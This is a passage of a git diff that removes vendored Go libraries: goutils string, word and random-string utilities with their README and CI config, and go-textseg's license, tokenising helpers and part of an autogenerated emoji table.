following Java Apache Commons classes: -* WordUtils -* RandomStringUtils -* StringUtils (partial implementation) - -## Installation -If you have Go set up on your system, from the GOPATH directory within the command line/terminal, enter this: - - go get github.com/Masterminds/goutils - -If you do not have Go set up on your system, please follow the [Go installation directions from the documenation](http://golang.org/doc/install), and then follow the instructions above to install GoUtils. - - -## Documentation -GoUtils doc is available here: [![GoDoc](https://godoc.org/github.com/Masterminds/goutils?status.png)](https://godoc.org/github.com/Masterminds/goutils) - - -## Usage -The code snippets below show examples of how to use GoUtils. Some functions return errors while others do not. The first instance below, which does not return an error, is the `Initials` function (located within the `wordutils.go` file). - - package main - - import ( - "fmt" - "github.com/Masterminds/goutils" - ) - - func main() { - - // EXAMPLE 1: A goutils function which returns no errors - fmt.Println (goutils.Initials("John Doe Foo")) // Prints out "JDF" - - } -Some functions return errors mainly due to illegal arguements used as parameters. The code example below illustrates how to deal with function that returns an error. In this instance, the function is the `Random` function (located within the `randomstringutils.go` file). - - package main - - import ( - "fmt" - "github.com/Masterminds/goutils" - ) - - func main() { - - // EXAMPLE 2: A goutils function which returns an error - rand1, err1 := goutils.Random (-1, 0, 0, true, true) - - if err1 != nil { - fmt.Println(err1) // Prints out error message because -1 was entered as the first parameter in goutils.Random(...) - } else { - fmt.Println(rand1) - } - - } - -## License -GoUtils is licensed under the Apache License, Version 2.0. Please check the LICENSE.txt file or visit http://www.apache.org/licenses/LICENSE-2.0 for a copy of the license. - -## Issue Reporting -Make suggestions or report issues using the Git issue tracker: https://github.com/Masterminds/goutils/issues - -## Website -* [GoUtils webpage](http://Masterminds.github.io/goutils/) diff --git a/vendor/github.com/aokoli/goutils/appveyor.yml b/vendor/github.com/aokoli/goutils/appveyor.yml deleted file mode 100644 index 657564a847..0000000000 --- a/vendor/github.com/aokoli/goutils/appveyor.yml +++ /dev/null @@ -1,21 +0,0 @@ -version: build-{build}.{branch} - -clone_folder: C:\gopath\src\github.com\Masterminds\goutils -shallow_clone: true - -environment: - GOPATH: C:\gopath - -platform: - - x64 - -build: off - -install: - - go version - - go env - -test_script: - - go test -v - -deploy: off diff --git a/vendor/github.com/aokoli/goutils/randomstringutils.go b/vendor/github.com/aokoli/goutils/randomstringutils.go deleted file mode 100644 index 1364e0cafd..0000000000 --- a/vendor/github.com/aokoli/goutils/randomstringutils.go +++ /dev/null @@ -1,268 +0,0 @@ -/* -Copyright 2014 Alexander Okoli - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package goutils - -import ( - "fmt" - "math" - "math/rand" - "regexp" - "time" - "unicode" -) - -// RANDOM provides the time-based seed used to generate random numbers -var RANDOM = rand.New(rand.NewSource(time.Now().UnixNano())) - -/* -RandomNonAlphaNumeric creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of all characters (ASCII/Unicode values between 0 to 2,147,483,647 (math.MaxInt32)). - -Parameter: - count - the length of random string to create - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomNonAlphaNumeric(count int) (string, error) { - return RandomAlphaNumericCustom(count, false, false) -} - -/* -RandomAscii creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of characters whose ASCII value is between 32 and 126 (inclusive). - -Parameter: - count - the length of random string to create - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomAscii(count int) (string, error) { - return Random(count, 32, 127, false, false) -} - -/* -RandomNumeric creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of numeric characters. - -Parameter: - count - the length of random string to create - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomNumeric(count int) (string, error) { - return Random(count, 0, 0, false, true) -} - -/* -RandomAlphabetic creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of alpha-numeric characters as indicated by the arguments. - -Parameters: - count - the length of random string to create - letters - if true, generated string may include alphabetic characters - numbers - if true, generated string may include numeric characters - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomAlphabetic(count int) (string, error) { - return Random(count, 0, 0, true, false) -} - -/* -RandomAlphaNumeric creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of alpha-numeric characters. - -Parameter: - count - the length of random string to create - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomAlphaNumeric(count int) (string, error) { - RandomString, err := Random(count, 0, 0, true, true) - if err != nil { - return "", fmt.Errorf("Error: %s", err) - } - match, err := regexp.MatchString("([0-9]+)", RandomString) - if err != nil { - panic(err) - } - - if !match { - //Get the position between 0 and the length of the string-1 to insert a random number - position := rand.Intn(count) - //Insert a random number between [0-9] in the position - RandomString = RandomString[:position] + string('0'+rand.Intn(10)) + RandomString[position+1:] - return RandomString, err - } - return RandomString, err - -} - -/* -RandomAlphaNumericCustom creates a random string whose length is the number of characters specified. -Characters will be chosen from the set of alpha-numeric characters as indicated by the arguments. - -Parameters: - count - the length of random string to create - letters - if true, generated string may include alphabetic characters - numbers - if true, generated string may include numeric characters - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func RandomAlphaNumericCustom(count int, letters bool, numbers bool) (string, error) { - return Random(count, 0, 0, letters, numbers) -} - -/* -Random creates a random string based on a variety of options, using default source of randomness. -This method has exactly the same semantics as RandomSeed(int, int, int, bool, bool, []char, *rand.Rand), but -instead of using an externally supplied source of randomness, it uses the internal *rand.Rand instance. - -Parameters: - count - the length of random string to create - start - the position in set of chars (ASCII/Unicode int) to start at - end - the position in set of chars (ASCII/Unicode int) to end before - letters - if true, generated string may include alphabetic characters - numbers - if true, generated string may include numeric characters - chars - the set of chars to choose randoms from. If nil, then it will use the set of all chars. - -Returns: - string - the random string - error - an error stemming from an invalid parameter within underlying function, RandomSeed(...) -*/ -func Random(count int, start int, end int, letters bool, numbers bool, chars ...rune) (string, error) { - return RandomSeed(count, start, end, letters, numbers, chars, RANDOM) -} - -/* -RandomSeed creates a random string based on a variety of options, using supplied source of randomness. -If the parameters start and end are both 0, start and end are set to ' ' and 'z', the ASCII printable characters, will be used, -unless letters and numbers are both false, in which case, start and end are set to 0 and math.MaxInt32, respectively. -If chars is not nil, characters stored in chars that are between start and end are chosen. -This method accepts a user-supplied *rand.Rand instance to use as a source of randomness. By seeding a single *rand.Rand instance -with a fixed seed and using it for each call, the same random sequence of strings can be generated repeatedly and predictably. - -Parameters: - count - the length of random string to create - start - the position in set of chars (ASCII/Unicode decimals) to start at - end - the position in set of chars (ASCII/Unicode decimals) to end before - letters - if true, generated string may include alphabetic characters - numbers - if true, generated string may include numeric characters - chars - the set of chars to choose randoms from. If nil, then it will use the set of all chars. - random - a source of randomness. - -Returns: - string - the random string - error - an error stemming from invalid parameters: if count < 0; or the provided chars array is empty; or end <= start; or end > len(chars) -*/ -func RandomSeed(count int, start int, end int, letters bool, numbers bool, chars []rune, random *rand.Rand) (string, error) { - - if count == 0 { - return "", nil - } else if count < 0 { - err := fmt.Errorf("randomstringutils illegal argument: Requested random string length %v is less than 0.", count) // equiv to err := errors.New("...") - return "", err - } - if chars != nil && len(chars) == 0 { - err := fmt.Errorf("randomstringutils illegal argument: The chars array must not be empty") - return "", err - } - - if start == 0 && end == 0 { - if chars != nil { - end = len(chars) - } else { - if !letters && !numbers { - end = math.MaxInt32 - } else { - end = 'z' + 1 - start = ' ' - } - } - } else { - if end <= start { - err := fmt.Errorf("randomstringutils illegal argument: Parameter end (%v) must be greater than start (%v)", end, start) - return "", err - } - - if chars != nil && end > len(chars) { - err := fmt.Errorf("randomstringutils illegal argument: Parameter end (%v) cannot be greater than len(chars) (%v)", end, len(chars)) - return "", err - } - } - - buffer := make([]rune, count) - gap := end - start - - // high-surrogates range, (\uD800-\uDBFF) = 55296 - 56319 - // low-surrogates range, (\uDC00-\uDFFF) = 56320 - 57343 - - for count != 0 { - count-- - var ch rune - if chars == nil { - ch = rune(random.Intn(gap) + start) - } else { - ch = chars[random.Intn(gap)+start] - } - - if letters && unicode.IsLetter(ch) || numbers && unicode.IsDigit(ch) || !letters && !numbers { - if ch >= 56320 && ch <= 57343 { // low surrogate range - if count == 0 { - count++ - } else { - // Insert low surrogate - buffer[count] = ch - count-- - // Insert high surrogate - buffer[count] = rune(55296 + random.Intn(128)) - } - } else if ch >= 55296 && ch <= 56191 { // High surrogates range (Partial) - if count == 0 { - count++ - } else { - // Insert low surrogate - buffer[count] = rune(56320 + random.Intn(128)) - count-- - // Insert high surrogate - buffer[count] = ch - } - } else if ch >= 56192 && ch <= 56319 { - // private high surrogate, skip it - count++ - } else { - // not one of the surrogates* - buffer[count] = ch - } - } else { - count++ - } - } - return string(buffer), nil -} diff --git a/vendor/github.com/aokoli/goutils/stringutils.go b/vendor/github.com/aokoli/goutils/stringutils.go deleted file mode 100644 index 5037c4516b..0000000000 --- a/vendor/github.com/aokoli/goutils/stringutils.go +++ /dev/null @@ -1,224 +0,0 @@ -/* -Copyright 2014 Alexander Okoli - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package goutils - -import ( - "bytes" - "fmt" - "strings" - "unicode" -) - -// Typically returned by functions where a searched item cannot be found -const INDEX_NOT_FOUND = -1 - -/* -Abbreviate abbreviates a string using ellipses. This will turn the string "Now is the time for all good men" into "Now is the time for..." - -Specifically, the algorithm is as follows: - - - If str is less than maxWidth characters long, return it. - - Else abbreviate it to (str[0:maxWidth - 3] + "..."). - - If maxWidth is less than 4, return an illegal argument error. - - In no case will it return a string of length greater than maxWidth. - -Parameters: - str - the string to check - maxWidth - maximum length of result string, must be at least 4 - -Returns: - string - abbreviated string - error - if the width is too small -*/ -func Abbreviate(str string, maxWidth int) (string, error) { - return AbbreviateFull(str, 0, maxWidth) -} - -/* -AbbreviateFull abbreviates a string using ellipses. This will turn the string "Now is the time for all good men" into "...is the time for..." -This function works like Abbreviate(string, int), but allows you to specify a "left edge" offset. Note that this left edge is not -necessarily going to be the leftmost character in the result, or the first character following the ellipses, but it will appear -somewhere in the result. -In no case will it return a string of length greater than maxWidth. - -Parameters: - str - the string to check - offset - left edge of source string - maxWidth - maximum length of result string, must be at least 4 - -Returns: - string - abbreviated string - error - if the width is too small -*/ -func AbbreviateFull(str string, offset int, maxWidth int) (string, error) { - if str == "" { - return "", nil - } - if maxWidth < 4 { - err := fmt.Errorf("stringutils illegal argument: Minimum abbreviation width is 4") - return "", err - } - if len(str) <= maxWidth { - return str, nil - } - if offset > len(str) { - offset = len(str) - } - if len(str)-offset < (maxWidth - 3) { // 15 - 5 < 10 - 3 = 10 < 7 - offset = len(str) - (maxWidth - 3) - } - abrevMarker := "..." - if offset <= 4 { - return str[0:maxWidth-3] + abrevMarker, nil // str.substring(0, maxWidth - 3) + abrevMarker; - } - if maxWidth < 7 { - err := fmt.Errorf("stringutils illegal argument: Minimum abbreviation width with offset is 7") - return "", err - } - if (offset + maxWidth - 3) < len(str) { // 5 + (10-3) < 15 = 12 < 15 - abrevStr, _ := Abbreviate(str[offset:len(str)], (maxWidth - 3)) - return abrevMarker + abrevStr, nil // abrevMarker + abbreviate(str.substring(offset), maxWidth - 3); - } - return abrevMarker + str[(len(str)-(maxWidth-3)):len(str)], nil // abrevMarker + str.substring(str.length() - (maxWidth - 3)); -} - -/* -DeleteWhiteSpace deletes all whitespaces from a string as defined by unicode.IsSpace(rune). -It returns the string without whitespaces. - -Parameter: - str - the string to delete whitespace from, may be nil - -Returns: - the string without whitespaces -*/ -func DeleteWhiteSpace(str string) string { - if str == "" { - return str - } - sz := len(str) - var chs bytes.Buffer - count := 0 - for i := 0; i < sz; i++ { - ch := rune(str[i]) - if !unicode.IsSpace(ch) { - chs.WriteRune(ch) - count++ - } - } - if count == sz { - return str - } - return chs.String() -} - -/* -IndexOfDifference compares two strings, and returns the index at which the strings begin to differ. - -Parameters: - str1 - the first string - str2 - the second string - -Returns: - the index where str1 and str2 begin to differ; -1 if they are equal -*/ -func IndexOfDifference(str1 string, str2 string) int { - if str1 == str2 { - return INDEX_NOT_FOUND - } - if IsEmpty(str1) || IsEmpty(str2) { - return 0 - } - var i int - for i = 0; i < len(str1) && i < len(str2); i++ { - if rune(str1[i]) != rune(str2[i]) { - break - } - } - if i < len(str2) || i < len(str1) { - return i - } - return INDEX_NOT_FOUND -} - -/* -IsBlank checks if a string is whitespace or empty (""). Observe the following behavior: - - goutils.IsBlank("") = true - goutils.IsBlank(" ") = true - goutils.IsBlank("bob") = false - goutils.IsBlank(" bob ") = false - -Parameter: - str - the string to check - -Returns: - true - if the string is whitespace or empty ("") -*/ -func IsBlank(str string) bool { - strLen := len(str) - if str == "" || strLen == 0 { - return true - } - for i := 0; i < strLen; i++ { - if unicode.IsSpace(rune(str[i])) == false { - return false - } - } - return true -} - -/* -IndexOf returns the index of the first instance of sub in str, with the search beginning from the -index start point specified. -1 is returned if sub is not present in str. - -An empty string ("") will return -1 (INDEX_NOT_FOUND). A negative start position is treated as zero. -A start position greater than the string length returns -1. - -Parameters: - str - the string to check - sub - the substring to find - start - the start position; negative treated as zero - -Returns: - the first index where the sub string was found (always >= start) -*/ -func IndexOf(str string, sub string, start int) int { - - if start < 0 { - start = 0 - } - - if len(str) < start { - return INDEX_NOT_FOUND - } - - if IsEmpty(str) || IsEmpty(sub) { - return INDEX_NOT_FOUND - } - - partialIndex := strings.Index(str[start:len(str)], sub) - if partialIndex == -1 { - return INDEX_NOT_FOUND - } - return partialIndex + start -} - -// IsEmpty checks if a string is empty (""). Returns true if empty, and false otherwise. -func IsEmpty(str string) bool { - return len(str) == 0 -} diff --git a/vendor/github.com/aokoli/goutils/wordutils.go b/vendor/github.com/aokoli/goutils/wordutils.go deleted file mode 100644 index e92dd39900..0000000000 --- a/vendor/github.com/aokoli/goutils/wordutils.go +++ /dev/null @@ -1,356 +0,0 @@ -/* -Copyright 2014 Alexander Okoli - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -/* -Package goutils provides utility functions to manipulate strings in various ways. -The code snippets below show examples of how to use goutils. Some functions return -errors while others do not, so usage would vary as a result. - -Example: - - package main - - import ( - "fmt" - "github.com/aokoli/goutils" - ) - - func main() { - - // EXAMPLE 1: A goutils function which returns no errors - fmt.Println (goutils.Initials("John Doe Foo")) // Prints out "JDF" - - - - // EXAMPLE 2: A goutils function which returns an error - rand1, err1 := goutils.Random (-1, 0, 0, true, true) - - if err1 != nil { - fmt.Println(err1) // Prints out error message because -1 was entered as the first parameter in goutils.Random(...) - } else { - fmt.Println(rand1) - } - } -*/ -package goutils - -import ( - "bytes" - "strings" - "unicode" -) - -// VERSION indicates the current version of goutils -const VERSION = "1.0.0" - -/* -Wrap wraps a single line of text, identifying words by ' '. -New lines will be separated by '\n'. Very long words, such as URLs will not be wrapped. -Leading spaces on a new line are stripped. Trailing spaces are not stripped. - -Parameters: - str - the string to be word wrapped - wrapLength - the column (a column can fit only one character) to wrap the words at, less than 1 is treated as 1 - -Returns: - a line with newlines inserted -*/ -func Wrap(str string, wrapLength int) string { - return WrapCustom(str, wrapLength, "", false) -} - -/* -WrapCustom wraps a single line of text, identifying words by ' '. -Leading spaces on a new line are stripped. Trailing spaces are not stripped. - -Parameters: - str - the string to be word wrapped - wrapLength - the column number (a column can fit only one character) to wrap the words at, less than 1 is treated as 1 - newLineStr - the string to insert for a new line, "" uses '\n' - wrapLongWords - true if long words (such as URLs) should be wrapped - -Returns: - a line with newlines inserted -*/ -func WrapCustom(str string, wrapLength int, newLineStr string, wrapLongWords bool) string { - - if str == "" { - return "" - } - if newLineStr == "" { - newLineStr = "\n" // TODO Assumes "\n" is seperator. Explore SystemUtils.LINE_SEPARATOR from Apache Commons - } - if wrapLength < 1 { - wrapLength = 1 - } - - inputLineLength := len(str) - offset := 0 - - var wrappedLine bytes.Buffer - - for inputLineLength-offset > wrapLength { - - if rune(str[offset]) == ' ' { - offset++ - continue - } - - end := wrapLength + offset + 1 - spaceToWrapAt := strings.LastIndex(str[offset:end], " ") + offset - - if spaceToWrapAt >= offset { - // normal word (not longer than wrapLength) - wrappedLine.WriteString(str[offset:spaceToWrapAt]) - wrappedLine.WriteString(newLineStr) - offset = spaceToWrapAt + 1 - - } else { - // long word or URL - if wrapLongWords { - end := wrapLength + offset - // long words are wrapped one line at a time - wrappedLine.WriteString(str[offset:end]) - wrappedLine.WriteString(newLineStr) - offset += wrapLength - } else { - // long words aren't wrapped, just extended beyond limit - end := wrapLength + offset - spaceToWrapAt = strings.IndexRune(str[end:len(str)], ' ') + end - if spaceToWrapAt >= 0 { - wrappedLine.WriteString(str[offset:spaceToWrapAt]) - wrappedLine.WriteString(newLineStr) - offset = spaceToWrapAt + 1 - } else { - wrappedLine.WriteString(str[offset:len(str)]) - offset = inputLineLength - } - } - } - } - - wrappedLine.WriteString(str[offset:len(str)]) - - return wrappedLine.String() - -} - -/* -Capitalize capitalizes all the delimiter separated words in a string. Only the first letter of each word is changed. -To convert the rest of each word to lowercase at the same time, use CapitalizeFully(str string, delimiters ...rune). -The delimiters represent a set of characters understood to separate words. The first string character -and the first non-delimiter character after a delimiter will be capitalized. A "" input string returns "". -Capitalization uses the Unicode title case, normally equivalent to upper case. - -Parameters: - str - the string to capitalize - delimiters - set of characters to determine capitalization, exclusion of this parameter means whitespace would be delimeter - -Returns: - capitalized string -*/ -func Capitalize(str string, delimiters ...rune) string { - - var delimLen int - - if delimiters == nil { - delimLen = -1 - } else { - delimLen = len(delimiters) - } - - if str == "" || delimLen == 0 { - return str - } - - buffer := []rune(str) - capitalizeNext := true - for i := 0; i < len(buffer); i++ { - ch := buffer[i] - if isDelimiter(ch, delimiters...) { - capitalizeNext = true - } else if capitalizeNext { - buffer[i] = unicode.ToTitle(ch) - capitalizeNext = false - } - } - return string(buffer) - -} - -/* -CapitalizeFully converts all the delimiter separated words in a string into capitalized words, that is each word is made up of a -titlecase character and then a series of lowercase characters. The delimiters represent a set of characters understood -to separate words. The first string character and the first non-delimiter character after a delimiter will be capitalized. -Capitalization uses the Unicode title case, normally equivalent to upper case. - -Parameters: - str - the string to capitalize fully - delimiters - set of characters to determine capitalization, exclusion of this parameter means whitespace would be delimeter - -Returns: - capitalized string -*/ -func CapitalizeFully(str string, delimiters ...rune) string { - - var delimLen int - - if delimiters == nil { - delimLen = -1 - } else { - delimLen = len(delimiters) - } - - if str == "" || delimLen == 0 { - return str - } - str = strings.ToLower(str) - return Capitalize(str, delimiters...) -} - -/* -Uncapitalize uncapitalizes all the whitespace separated words in a string. Only the first letter of each word is changed. -The delimiters represent a set of characters understood to separate words. The first string character and the first non-delimiter -character after a delimiter will be uncapitalized. Whitespace is defined by unicode.IsSpace(char). - -Parameters: - str - the string to uncapitalize fully - delimiters - set of characters to determine capitalization, exclusion of this parameter means whitespace would be delimeter - -Returns: - uncapitalized string -*/ -func Uncapitalize(str string, delimiters ...rune) string { - - var delimLen int - - if delimiters == nil { - delimLen = -1 - } else { - delimLen = len(delimiters) - } - - if str == "" || delimLen == 0 { - return str - } - - buffer := []rune(str) - uncapitalizeNext := true // TODO Always makes capitalize/un apply to first char. - for i := 0; i < len(buffer); i++ { - ch := buffer[i] - if isDelimiter(ch, delimiters...) { - uncapitalizeNext = true - } else if uncapitalizeNext { - buffer[i] = unicode.ToLower(ch) - uncapitalizeNext = false - } - } - return string(buffer) -} - -/* -SwapCase swaps the case of a string using a word based algorithm. - -Conversion algorithm: - - Upper case character converts to Lower case - Title case character converts to Lower case - Lower case character after Whitespace or at start converts to Title case - Other Lower case character converts to Upper case - Whitespace is defined by unicode.IsSpace(char). - -Parameters: - str - the string to swap case - -Returns: - the changed string -*/ -func SwapCase(str string) string { - if str == "" { - return str - } - buffer := []rune(str) - - whitespace := true - - for i := 0; i < len(buffer); i++ { - ch := buffer[i] - if unicode.IsUpper(ch) { - buffer[i] = unicode.ToLower(ch) - whitespace = false - } else if unicode.IsTitle(ch) { - buffer[i] = unicode.ToLower(ch) - whitespace = false - } else if unicode.IsLower(ch) { - if whitespace { - buffer[i] = unicode.ToTitle(ch) - whitespace = false - } else { - buffer[i] = unicode.ToUpper(ch) - } - } else { - whitespace = unicode.IsSpace(ch) - } - } - return string(buffer) -} - -/* -Initials extracts the initial letters from each word in the string. The first letter of the string and all first -letters after the defined delimiters are returned as a new string. Their case is not changed. If the delimiters -parameter is excluded, then Whitespace is used. Whitespace is defined by unicode.IsSpacea(char). An empty delimiter array returns an empty string. - -Parameters: - str - the string to get initials from - delimiters - set of characters to determine words, exclusion of this parameter means whitespace would be delimeter -Returns: - string of initial letters -*/ -func Initials(str string, delimiters ...rune) string { - if str == "" { - return str - } - if delimiters != nil && len(delimiters) == 0 { - return "" - } - strLen := len(str) - var buf bytes.Buffer - lastWasGap := true - for i := 0; i < strLen; i++ { - ch := rune(str[i]) - - if isDelimiter(ch, delimiters...) { - lastWasGap = true - } else if lastWasGap { - buf.WriteRune(ch) - lastWasGap = false - } - } - return buf.String() -} - -// private function (lower case func name) -func isDelimiter(ch rune, delimiters ...rune) bool { - if delimiters == nil { - return unicode.IsSpace(ch) - } - for _, delimiter := range delimiters { - if ch == delimiter { - return true - } - } - return false -} diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/LICENSE b/vendor/github.com/apparentlymart/go-textseg/v12/LICENSE deleted file mode 100644 index 684b03b4a2..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/LICENSE +++ /dev/null @@ -1,95 +0,0 @@ -Copyright (c) 2017 Martin Atkins - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. - ---------- - -Unicode table generation programs are under a separate copyright and license: - -Copyright (c) 2014 Couchbase, Inc. -Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file -except in compliance with the License. You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software distributed under the -License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, -either express or implied. See the License for the specific language governing permissions -and limitations under the License. - ---------- - -Grapheme break data is provided as part of the Unicode character database, -copright 2016 Unicode, Inc, which is provided with the following license: - -Unicode Data Files include all data files under the directories -http://www.unicode.org/Public/, http://www.unicode.org/reports/, -http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and -http://www.unicode.org/utility/trac/browser/. - -Unicode Data Files do not include PDF online code charts under the -directory http://www.unicode.org/Public/. - -Software includes any source code published in the Unicode Standard -or under the directories -http://www.unicode.org/Public/, http://www.unicode.org/reports/, -http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and -http://www.unicode.org/utility/trac/browser/. - -NOTICE TO USER: Carefully read the following legal agreement. -BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S -DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), -YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE -TERMS AND CONDITIONS OF THIS AGREEMENT. -IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE -THE DATA FILES OR SOFTWARE. - -COPYRIGHT AND PERMISSION NOTICE - -Copyright Š 1991-2017 Unicode, Inc. All rights reserved. -Distributed under the Terms of Use in http://www.unicode.org/copyright.html. - -Permission is hereby granted, free of charge, to any person obtaining -a copy of the Unicode data files and any associated documentation -(the "Data Files") or Unicode software and any associated documentation -(the "Software") to deal in the Data Files or Software -without restriction, including without limitation the rights to use, -copy, modify, merge, publish, distribute, and/or sell copies of -the Data Files or Software, and to permit persons to whom the Data Files -or Software are furnished to do so, provided that either -(a) this copyright and permission notice appear with all copies -of the Data Files or Software, or -(b) this copyright and permission notice appear in associated -Documentation. - -THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF -ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE -WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT OF THIRD PARTY RIGHTS. -IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS -NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL -DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, -DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER -TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR -PERFORMANCE OF THE DATA FILES OR SOFTWARE. - -Except as contained in this notice, the name of a copyright holder -shall not be used in advertising or otherwise to promote the sale, -use or other dealings in these Data Files or Software without prior -written authorization of the copyright holder. diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/all_tokens.go b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/all_tokens.go deleted file mode 100644 index 5752e9ef8f..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/all_tokens.go +++ /dev/null @@ -1,30 +0,0 @@ -package textseg - -import ( - "bufio" - "bytes" -) - -// AllTokens is a utility that uses a bufio.SplitFunc to produce a slice of -// all of the recognized tokens in the given buffer. -func AllTokens(buf []byte, splitFunc bufio.SplitFunc) ([][]byte, error) { - scanner := bufio.NewScanner(bytes.NewReader(buf)) - scanner.Split(splitFunc) - var ret [][]byte - for scanner.Scan() { - ret = append(ret, scanner.Bytes()) - } - return ret, scanner.Err() -} - -// TokenCount is a utility that uses a bufio.SplitFunc to count the number of -// recognized tokens in the given buffer. -func TokenCount(buf []byte, splitFunc bufio.SplitFunc) (int, error) { - scanner := bufio.NewScanner(bytes.NewReader(buf)) - scanner.Split(splitFunc) - var ret int - for scanner.Scan() { - ret++ - } - return ret, scanner.Err() -} diff --git a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/emoji_table.rl b/vendor/github.com/apparentlymart/go-textseg/v12/textseg/emoji_table.rl deleted file mode 100644 index 1c0749c9cb..0000000000 --- a/vendor/github.com/apparentlymart/go-textseg/v12/textseg/emoji_table.rl +++ /dev/null @@ -1,290 +0,0 @@ -# The following Ragel file was autogenerated with unicode2ragel.rb -# from: https://www.unicode.org/Public/emoji/12.0/emoji-data.txt -# -# It defines ["Extended_Pictographic"]. -# -# To use this, make sure that your alphtype is set to byte, -# and that your input is in utf8. - -%%{ - machine Emoji; - - Extended_Pictographic = - 0xC2 0xA9 #1.1 [1] (ÂŠī¸) copyright - | 0xC2 0xAE #1.1 [1] (ÂŽī¸) registered - | 0xE2 0x80 0xBC #1.1 [1] (â€ŧī¸) double exclamation mark - | 0xE2 0x81 0x89 #3.0 [1] (â‰ī¸) exclamation question mark - | 0xE2 0x84 0xA2 #1.1 [1] (â„ĸī¸) trade mark - | 0xE2 0x84 0xB9 #3.0 [1] (â„šī¸) information - | 0xE2 0x86 0x94..0x99 #1.1 [6] (â†”ī¸..â†™ī¸) left-right arrow..down... - | 0xE2 0x86 0xA9..0xAA #1.1 [2] (â†Šī¸..â†Ēī¸) right arrow curving le... - | 0xE2 0x8C 0x9A..0x9B #1.1 [2] (⌚..⌛) watch..hourglass done - | 0xE2 0x8C 0xA8 #1.1 [1] (âŒ¨ī¸) keyboard - | 0xE2 0x8E 0x88 #3.0 [1] (⎈) HELM SYMBOL - | 0xE2 0x8F 0x8F #4.0 [1] (âī¸) eject button - | 0xE2 0x8F 0xA9..0xB3 #6.0 [11] (⏊..âŗ) fast-forward button..hou... - | 0xE2 0x8F 0xB8..0xBA #7.0 [3] (â¸ī¸..âēī¸) pause button..record b... - | 0xE2 0x93 0x82 #1.1 [1] (â“‚ī¸) circled M - | 0xE2 0x96 0xAA..0xAB #1.1 [2] (â–Ēī¸..â–Ģī¸) black small square..wh... - | 0xE2 0x96 0xB6 #1.1 [1] (â–ļī¸) play button - | 0xE2 0x97 0x80 #1.1 [1] 